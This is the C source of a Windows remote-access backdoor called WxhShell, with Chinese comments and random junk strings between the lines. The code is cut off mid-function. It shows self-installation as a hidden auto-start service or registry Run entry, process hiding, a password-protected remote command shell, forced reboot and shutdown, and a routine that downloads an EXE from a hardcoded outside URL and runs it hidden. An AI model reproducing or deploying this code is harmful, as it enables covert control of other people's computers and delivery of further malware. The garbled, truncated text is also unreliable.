(PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +T ?NH9 'u658Tj if (!NtQueryInformationProcess) return 0; Om&Dw|xG8 /Oono6j hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ri'n if(!hProcess) return 0; ]~-r}`] @EAbF>> if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P>T"cv NK+o1 CloseHandle(hProcess); KvSG; \vNU,WO hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); buC{r, if(hProcess==NULL) return 0; $b\P|#A x-c"%Z| HMODULE hMod; bt *k.=p char procName[255]; d9ihhqq3} unsigned long cbNeeded; Bvj0^fSm #ob/p#k if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G}*hM$F }]TxlSp!; CloseHandle(hProcess); *hrd5na V&i;\ 9 if(strstr(procName,"services")) return 1; // 以服务启动 sLFl!jX Xj*Wu_ return 0; // 注册表启动 hZ3bVi)L\ } E`q_bn #$vEGY}1 // 主模块 8L XHk l int StartWxhshell(LPSTR lpCmdLine) G3]4A&h9v~ { E7hhew SOCKET wsl; zDp 2g) BOOL val=TRUE; Z)!C'c b int port=0; J4utIGF struct sockaddr_in door; :N@^?q{b z#N@ 0R if(wscfg.ws_autoins) Install(); 3T
9j@N77 -&f$GUTJ port=atoi(lpCmdLine); |{;G2G1[ q4q6c")zp if(port<=0) port=wscfg.ws_port; VQI3G K,]=6Rj WSADATA data; N [@?gFtT if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Vi}_{
Cy g`^x@rj`E if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; .hiSw setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -di o5a door.sin_family = AF_INET; zT/\Cj68 door.sin_addr.s_addr = inet_addr("127.0.0.1"); Bq>m{ door.sin_port = htons(port); e)ZUO_Q$ d _
e WcI if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D$N/FJ8|G closesocket(wsl); Y7nvHU|+o return 1; _wcNgFx } BY*Q_Et E4!Fupkpf if(listen(wsl,2) == INVALID_SOCKET) { %\DX#. closesocket(wsl); GfG|&VNlz return 1; 'S~5"6r } ~
1 pr~ Wxhshell(wsl); S'14hk< WSACleanup(); Qd6F H2Pl edV\-H5< return 0; +V+a4lU14 /=h` L, } zQA`/&=Y {$r[5%L\H // 以NT服务方式启动
5IN(|B0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +#By*;BJ { y]imZ4{/ DWORD status = 0; +RXoi2"-q@ DWORD specificError = 0xfffffff; Wm|lSisY /bEAK- serviceStatus.dwServiceType = SERVICE_WIN32; "j-CZ\]U| serviceStatus.dwCurrentState = SERVICE_START_PENDING; r/sNrB1U"y serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U&xUfBDt serviceStatus.dwWin32ExitCode = 0; H-%v3d>3 serviceStatus.dwServiceSpecificExitCode = 0; q=G+Tocv serviceStatus.dwCheckPoint = 0; G`zm@QL serviceStatus.dwWaitHint = 0; .2pK.$. Ah<+y\C hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j9,P/K$:w if (hServiceStatusHandle==0) return; {)"vN(mX xpI wrJO status = GetLastError(); P$sxr if (status!=NO_ERROR) {T8Kk)L { m68*y;# serviceStatus.dwCurrentState = SERVICE_STOPPED; zVD:#d%b serviceStatus.dwCheckPoint = 0; S$k&vc(0 serviceStatus.dwWaitHint = 0; [2koe.?( serviceStatus.dwWin32ExitCode = status; b2]Kx&! serviceStatus.dwServiceSpecificExitCode = specificError; jIF
|P- SetServiceStatus(hServiceStatusHandle, &serviceStatus); qNr}
\J| return; {U1m.30n } XM}hUJJW Q^I\cAIB serviceStatus.dwCurrentState = SERVICE_RUNNING; a6H%5N serviceStatus.dwCheckPoint = 0; CJ%I51F`X serviceStatus.dwWaitHint = 0;
9akH if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x :7IIvP } {|\.i _wOt39e& // 处理NT服务事件,比如:启动、停止 KF/-wZ"1s VOID WINAPI NTServiceHandler(DWORD fdwControl) fQ98(+6 { +O5hH8<&b switch(fdwControl) V+~Nalm O { {x7, case SERVICE_CONTROL_STOP: L]Mo;kT<Q serviceStatus.dwWin32ExitCode = 0; *qMY22X serviceStatus.dwCurrentState = SERVICE_STOPPED; v}(WaO#S serviceStatus.dwCheckPoint = 0; s79r@])= serviceStatus.dwWaitHint = 0; y?0nI<}}HK { >f'g0g SetServiceStatus(hServiceStatusHandle, &serviceStatus); &/b~k3{M_ } MPk5^ua: return; rs.M]8a2{& case SERVICE_CONTROL_PAUSE: 6^Sa; serviceStatus.dwCurrentState = SERVICE_PAUSED; XlJZhc break; \?N2=jsu$ case SERVICE_CONTROL_CONTINUE: - YV>j serviceStatus.dwCurrentState = SERVICE_RUNNING; @P"p+ break; G\?YK.Y> case SERVICE_CONTROL_INTERROGATE: "]iB6 break; B?qjkP }; 5-G@L?~Vw SetServiceStatus(hServiceStatusHandle, &serviceStatus); D6^6}1WI } H|D.6^ pmilrZmm] // 标准应用程序主函数 \;-|-8Q int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4X$Qu6#i { -^57oU iX\X>W$P // 获取操作系统版本 d| {r5[& OsIsNt=GetOsVer(); g*"P:n71 GetModuleFileName(NULL,ExeFile,MAX_PATH); M[uA@ 6&-(&(_ // 从命令行安装 HmwT~ if(strpbrk(lpCmdLine,"iI")) Install(); m6djeOl Wm3X[?V // 下载执行文件 9,tej if(wscfg.ws_downexe) { *,m; if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?
qA]w9x WinExec(wscfg.ws_filenam,SW_HIDE); F>cv<l
=6l } @K]|K]cby *:NQ&y*uj if(!OsIsNt) { :lzrgsW // 如果时win9x,隐藏进程并且设置为注册表启动 HKr
Mim- HideProc(); :c[L3rJl StartWxhshell(lpCmdLine); %[yJ4WL } 9S -9.mvop else f9\X>zzB2| if(StartFromService()) JZ#[
2mLh // 以服务方式启动 &M'*6A StartServiceCtrlDispatcher(DispatchTable); [mHdG2X else ,: ->ErP // 普通方式启动 (~en ( StartWxhshell(lpCmdLine); ^VACf|0 P2*<GjV`S/ return 0; d M-%{ } pD74+/DD Bnd [X 9I/N4sou w\brVnt =========================================== t_suF$ Ki~1qu: yOg+iFTr \j)E5b+ I9Fr5p-%O $j?1g# " ~!3r&( PzR[KUK #include <stdio.h> 9$m|'$p3sG #include <string.h> C/&-l{7 #include <windows.h> ,=mS,r7 #include <winsock2.h> Jq^T1_iqn #include <winsvc.h> orvp*F{7[H #include <urlmon.h> $2el&I ;ZG\p TCA #pragma comment (lib, "Ws2_32.lib") y|q3Wa #pragma comment (lib, "urlmon.lib") ?NP1y9Y]i rc>6.sM
% #define MAX_USER 100 // 最大客户端连接数 \B
7tX #define BUF_SOCK 200 // sock buffer k: ;WtBC6j #define KEY_BUFF 255 // 输入 buffer jZ3fKyp# pU7lnS[ #define REBOOT 0 // 重启
v<:R# #define SHUTDOWN 1 // 关机 I)W`sBL ^Va1f'g #define DEF_PORT 5000 // 监听端口 H$KTo/ F*K_+
?m #define REG_LEN 16 // 注册表键长度 _\HQvH #define SVC_LEN 80 // NT服务名长度 'XBFv9& 3<zp // 从dll定义API =6#Eh=7N typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IyPnp&_ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2,P^n4~A?w typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L z1ME( typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UOmY-\ &c @oad,=R& // wxhshell配置信息 UEVG0qF struct WSCFG { 63~
E#Dt4 int ws_port; // 监听端口 9?3&?i2- char ws_passstr[REG_LEN]; // 口令 <V6VMYXY4 int ws_autoins; // 安装标记, 1=yes 0=no wsVV$I[2 char ws_regname[REG_LEN]; // 注册表键名 uL/m u< char ws_svcname[REG_LEN]; // 服务名 Ji 0
tQV char ws_svcdisp[SVC_LEN]; // 服务显示名 FjI`uP char ws_svcdesc[SVC_LEN]; // 服务描述信息 1~QPG\cdIX char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .q 3/_* int ws_downexe; // 下载执行标记, 1=yes 0=no wuJ4kW$ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;{o|9x| char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q8Z<{#oXu SN!?}<|U }; RlDn0s >u8gD6X // default Wxhshell configuration *C=>X193U struct WSCFG wscfg={DEF_PORT, *U\`CXn; "xuhuanlingzhe", ;l-!)0U 1, &q|K!5[k "Wxhshell", !1Cy$}w "Wxhshell", rI-%be== "WxhShell Service", `%Al>u5 "Wrsky Windows CmdShell Service", *GN#
r11d "Please Input Your Password: ", Clb@$, 1, 5RpjN: 3 "http://www.wrsky.com/wxhshell.exe", 3gj+%%!G\ "Wxhshell.exe" ;?g6QIN9 }; 0tB0@Wj y%bF& // 消息定义模块 h.s+)fl\ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S+ ^E. char *msg_ws_prompt="\n\r? for help\n\r#>"; (41|'eB\\ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^UhBH@ti char *msg_ws_ext="\n\rExit."; 9Ly]DZ;L char *msg_ws_end="\n\rQuit."; qH 6>!=00 char *msg_ws_boot="\n\rReboot..."; L4|`;WP char *msg_ws_poff="\n\rShutdown..."; Z@@K[$ char *msg_ws_down="\n\rSave to "; fn6J*[` f[^Aw(o char *msg_ws_err="\n\rErr!"; 84 pFc;< char *msg_ws_ok="\n\rOK!"; =+MPFhvg! .JiziFJ@mj char ExeFile[MAX_PATH]; M6-&R=78K int nUser = 0; 3%;a)c;D HANDLE handles[MAX_USER]; ([LSsZ]sj int OsIsNt; 4u47D$= ;K&o-y SERVICE_STATUS serviceStatus; 5=?\1`e1[ SERVICE_STATUS_HANDLE hServiceStatusHandle; /mu*-,aeX c+nq] xOs' // 函数声明 0aa&m[Mk int Install(void); (%W&4a1di int Uninstall(void); ^7KH _t8 int DownloadFile(char *sURL, SOCKET wsh); g5QZ0Qkj int Boot(int flag); x&T [*i void HideProc(void); WoRZW% int GetOsVer(void); y(pks$ int Wxhshell(SOCKET wsl); "s_lP&nq void TalkWithClient(void *cs); -JjM y X int CmdShell(SOCKET sock); `&sH-d4v int StartFromService(void); E5lBdM>2 int StartWxhshell(LPSTR lpCmdLine); /U)D5ot< *m,k(/> VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _ T):G6C8 VOID WINAPI NTServiceHandler( DWORD fdwControl ); -rli(RR)| SHo$9+ // 数据结构和表定义 q Xe8Kto SERVICE_TABLE_ENTRY DispatchTable[] = I\JGs@I { s '\Uap {wscfg.ws_svcname, NTServiceMain}, Jrpx}2'9:a {NULL, NULL} 25[I=ZdS }; MsGM5(r:b vf%&4\ib // 自我安装 ,.1Psz^U int Install(void) Y@ksQ_u { 6@0OQb char svExeFile[MAX_PATH]; Fv<F}h? 6 HKEY key; .KUv(- strcpy(svExeFile,ExeFile); 6WJ)by "Yj'oE%\ // 如果是win9x系统,修改注册表设为自启动 aAMVsE{ if(!OsIsNt) { ApV~(k)W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~C`^6UQr/? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4'A!; ]: RegCloseKey(key); 2=`o_<P'" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 04l!:Tp, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *P2S6z2 RegCloseKey(key); e`xdSi>E return 0; B%76rEpvW; } emPM4iG?! } B1C-J/J } d]6#m'U else { O7<]U_"I .1Al<OLL // 如果是NT以上系统,安装为系统服务 [t@Mn SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &wCg\j_c if (schSCManager!=0) K[r^'P5m { >X4u]>X SC_HANDLE schService = CreateService b@f$nS
B ( '*w00 schSCManager, CtAwBQO wscfg.ws_svcname, u5: q$P wscfg.ws_svcdisp, r^paD2&} SERVICE_ALL_ACCESS, ~%=MpQ3 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5r8<7g:>C SERVICE_AUTO_START, q~ZNd3O SERVICE_ERROR_NORMAL, 78# v svExeFile, i?g5_HI NULL, K&70{r NULL, k!HK 97qA NULL, #32"=MfQn NULL, -pGE]nwDL NULL Y>G@0r BG ); 0ANZAX5 if (schService!=0) kZZh"#W: L { cm[&? CloseServiceHandle(schService); z>Hgkp8D" CloseServiceHandle(schSCManager); $gy*D7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X4E%2-m@' strcat(svExeFile,wscfg.ws_svcname); a8iQ4
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =&2Lb RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h=kh@}, RegCloseKey(key); `A^"%@j return 0; C:C}5<fkx } DB:+E|vSD } E}p&2P+MR CloseServiceHandle(schSCManager); ;1.,Sn+zO } _Khc3Jo } Z99>5\k U\;6mK)M^J return 1; ()+<)hg}2 } ^,8)iV0j_ 3?7\T#= // 自我卸载 L=8<B=QT$ int Uninstall(void) U`d5vEhT { 27"%"P.1 HKEY key; n3Z5t 5b[jRj6 if(!OsIsNt) { Ry K\uv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yXF?H"h( RegDeleteValue(key,wscfg.ws_regname); %i-c0|,T4 RegCloseKey(key); _m'Fr
7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r{ef .^&: RegDeleteValue(key,wscfg.ws_regname); ReI/]#Us RegCloseKey(key); Hp|_6hO 2 return 0; 4 G-wd } "a"]o } qI<mjB{3` } #=f?0UTA else { >wBJy4: V=V:SlS9| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M&Uj^K1 if (schSCManager!=0) Q[I=T& { j|%HIF25 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U,q\emR if (schService!=0) 7C ,UDp| { .wu
xoq if(DeleteService(schService)!=0) { M:3h e CloseServiceHandle(schService); }36QsH8 CloseServiceHandle(schSCManager); ;u(<h?%e return 0; M8Z2Pg\0 } b7tOo7a H) CloseServiceHandle(schService); : b~6i%b } U1RpLkibQ CloseServiceHandle(schSCManager); QxOjOKAG
} u1PaHgi$ } &c%g g(J&m<I return 1; Q|L9gz[? } rJ{O(n]j ,JN8f]a^"g // 从指定url下载文件 )ZqJh int DownloadFile(char *sURL, SOCKET wsh) #w-xBM
@ { tAte)/0C HRESULT hr; p)3U7"q char seps[]= "/"; @u%_1 char *token; EC8b=B<DE char *file; .dQQoyR+O char myURL[MAX_PATH]; +H#U~p$ char myFILE[MAX_PATH]; F>[,zN Ii_ojQP-z strcpy(myURL,sURL); 88h3|'* token=strtok(myURL,seps); ),!;| bh while(token!=NULL) F[[TWf/ { GF%314Xu file=token; I{:(z3 token=strtok(NULL,seps); .j>hI="b } /&{$ pM|? HnCzbt@ GetCurrentDirectory(MAX_PATH,myFILE); m"jV}@agX strcat(myFILE, "\\"); )
^3avRsC strcat(myFILE, file); p4i]7o@ send(wsh,myFILE,strlen(myFILE),0); 16i"Yg!* send(wsh,"...",3,0); x61 U[/r hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H;fxxu`cS if(hr==S_OK) z0*_^MH return 0; MxcFvo*LCp else wz.6du6- return 1; eT8} H4!+q:< } /E5 5Pec ^:* 1d
\ // 系统电源模块 ?Wt$6{) int Boot(int flag) *`Yv.=cd { JEgx@};O HANDLE hToken; B7<Kc TOKEN_PRIVILEGES tkp; >P $;79< /<8N\_wh if(OsIsNt) { OdY=z!Fls OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m[@Vf9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;~u{56 tkp.PrivilegeCount = 1; pBP.x#| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FEW_bP/4 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z2hc.29t if(flag==REBOOT) {
\$OF1i@ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ${nX:!) return 0; 3LTcEd } n`
TSu$ else { ?zJOh^ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0,Y5KE{ return 0; AT)a :i } {$^DMANDx } gzD@cx?V else { VA%Un,5h if(flag==REBOOT) { CZt \JW+" if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2'<[7! return 0;
ld7v3:M } R
&4Z*?S else { +@K09ge if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]a3iEA2 ( return 0; lP!;3iJ B } P?]aWJ } {]]|5
\F m&iH2| return 1; :C8$Xi_i} } D.6,VY H _ _>.,gL7 // win9x进程隐藏模块 :4T("a5aM void HideProc(void) gOK\%&S] { [e4]"v`N `\6?WXk3T HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rJInj>|{= if ( hKernel != NULL ) eBO@7F$ { z>06hBv(?Y pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "AhTH.ZP ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G>+1*\c FreeLibrary(hKernel); NAzX". g } ulJX1I=|p n%\
/J return; 2{.QjYw^ } hw~a:kD yj(vkifEB // 获取操作系统版本 ^@_m "^C int GetOsVer(void) [
dE.[ { @ Ehn(} OSVERSIONINFO winfo; a`u
S[r> winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'iY*6<xS< GetVersionEx(&winfo); 34R!x6W0 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zPKr/ return 1; e~T@~(fft else ;u(Du-Os! return 0; OLj\-w^ } nPgeLG"00 aRJ>6Q} // 客户端句柄模块 ?P7]u>H int Wxhshell(SOCKET wsl) <(e8sNe { |J~eLh[d SOCKET wsh; CCGV~e+ struct sockaddr_in client; ACK1@eF DWORD myID; ow' lRHZ ez9k4IO while(nUser<MAX_USER) rqlc2m,<-p { ^U8r0]9 int nSize=sizeof(client); ^:jN3@Q% wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eb8w~ if(wsh==INVALID_SOCKET) return 1; s$*'^: x)_@9ldYv handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m%8qZzqk if(handles[nUser]==0) DBs*Fx[ closesocket(wsh); 1]T`n /d V else .~gl19#:T nUser++; nB ". '= } Jj^GWZRu WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w_iam qe, CC3v%^81l^ return 0; T^} } X+n`qiwq *}):<nB$^ // 关闭 socket TjBY
4 void CloseIt(SOCKET wsh) <[/%{sUNC { ozr9>b>M closesocket(wsh); 2`=6 %s
nUser--; sF+=KH ExitThread(0); #DkD!dW(l } ;bX4(CMe
& H2-28XGc // 客户端请求句柄 @lUlY2 void TalkWithClient(void *cs) te4= S
{ VRW]a AP\ofLmq SOCKET wsh=(SOCKET)cs; v1.q$ f^( char pwd[SVC_LEN]; Us~ X9n_F char cmd[KEY_BUFF]; <39!G7ny char chr[1]; lKEa)KF[ int i,j; Y#01o&f0n 8 )\M:s~7& while (nUser < MAX_USER) { bO/*2oau ,goBq3[%? if(wscfg.ws_passstr) { &(xUhX T if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r++i=SQax //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :<~7y.*O{ //ZeroMemory(pwd,KEY_BUFF); ~mN%(w!^ i=0; )J3kxmlzQ while(i<SVC_LEN) { ".~{:= qsg>5E // 设置超时 !)Rr]
~ fd_set FdRead; [Id}4[={e struct timeval TimeOut; IGAzE( FD_ZERO(&FdRead); O hR1Jaed FD_SET(wsh,&FdRead); r5/R5Ga^ TimeOut.tv_sec=8; u>Ki$xP1 TimeOut.tv_usec=0; ZZ)G5ji int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9|S` ub' if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a1MFjmq ;' e@t8i6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); czBi Dk4 pwd=chr[0]; xUYow if(chr[0]==0xd || chr[0]==0xa) { oaDsk<(j;R pwd=0; [D'Gr*5~{ break; 3LlU] } *[kx F*^ i++; [B?z1z8l } f e
$Wu O(OmGu4% // 如果是非法用户,关闭 socket n!N\zx8 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (3EUy"z- } M'1HA Y&'8VdW send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8HoP(+? send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qvLDfN C 7nKk/r while(1) { a]VGUW- S@:B6](D$ ZeroMemory(cmd,KEY_BUFF); U 0ZB^` `%E9xcD% // 自动支持客户端 telnet标准 pX<a2FP j=0; S>ugRasZ$ while(j<KEY_BUFF) { Vf{2dZZ{1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sS,#0Qt. cmd[j]=chr[0]; R.7#zhC`4 if(chr[0]==0xa || chr[0]==0xd) { a%~yol0wO7 cmd[j]=0; u+% tPe break; IM-`<~(I# } =wA5P@ j++; Rk<%r k } U7%28#@ 4=p@2g2"H // 下载文件 }#b
%"I0 if(strstr(cmd,"http://")) { b4~H3| send(wsh,msg_ws_down,strlen(msg_ws_down),0); H,>#|F if(DownloadFile(cmd,wsh)) 'H=weH send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gm&2R4 )EP else U4_"aT>My send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gGKKs&n7 } /{G/|a else { iUNnPJh 5a$$95oL switch(cmd[0]) { #O</\|aH)i yzc pG6, // 帮助 1 !s28C5u case '?': { *:QXz<_x+ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); piu0^vEEH break; 8!j=vCv } uJPH~mdW // 安装 b|E/LKa case 'i': { uiK:*[ if(Install()) !Y%D
9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); >0T3'/k<H else #^\}xn"[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l @A"U)A( break; nO@+s
F } kukaim>K // 卸载 d8.ajeN]o case 'r': { +{xG<Wkltz if(Uninstall()) FT_k^CC send(wsh,msg_ws_err,strlen(msg_ws_err),0); b]dxlj}
< else s,
-*q} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EVSK8T, break; |!5@xs*T } 4qBY%1 // 显示 wxhshell 所在路径 v@,XinB[ case 'p': { N<bD char svExeFile[MAX_PATH]; n1)'cS5} strcpy(svExeFile,"\n\r"); gX"T*d>y strcat(svExeFile,ExeFile); kv%)K'fU4 send(wsh,svExeFile,strlen(svExeFile),0); d
H_2o break; oUS,+e } 8OBF^r44R // 重启 g*r/u; case 'b': { &z0iLa4q) send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KW:r;BFx if(Boot(REBOOT)) u~)%tL send(wsh,msg_ws_err,strlen(msg_ws_err),0); ok=40B99T else { sbjtL, closesocket(wsh); `]LODgk~ ExitThread(0); h*waRD } a^*B5G1(& break; `7>K1slQ}S } ws().IZ // 关机 eU"mG3__ case 'd': { &"O_wd[+: send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9rWLE6` if(Boot(SHUTDOWN)) *lY+Yy( send(wsh,msg_ws_err,strlen(msg_ws_err),0); cqHw^{'8 else { vK`S!7x'& closesocket(wsh); I tgH>L' ExitThread(0); Qf~| S9, } ;y,NC2Xj break; intvlki]be } |N6mTB2 // 获取shell 67,3i~ case 's': { m^c%]5$ CmdShell(wsh); KY8^BjY@ closesocket(wsh); Lo5Jb6nm ExitThread(0); ~W/}:;
break; Bx%=EN5. } eAU"fu6d // 退出 ev*c4^z:s case 'x': { g)nXo:)& |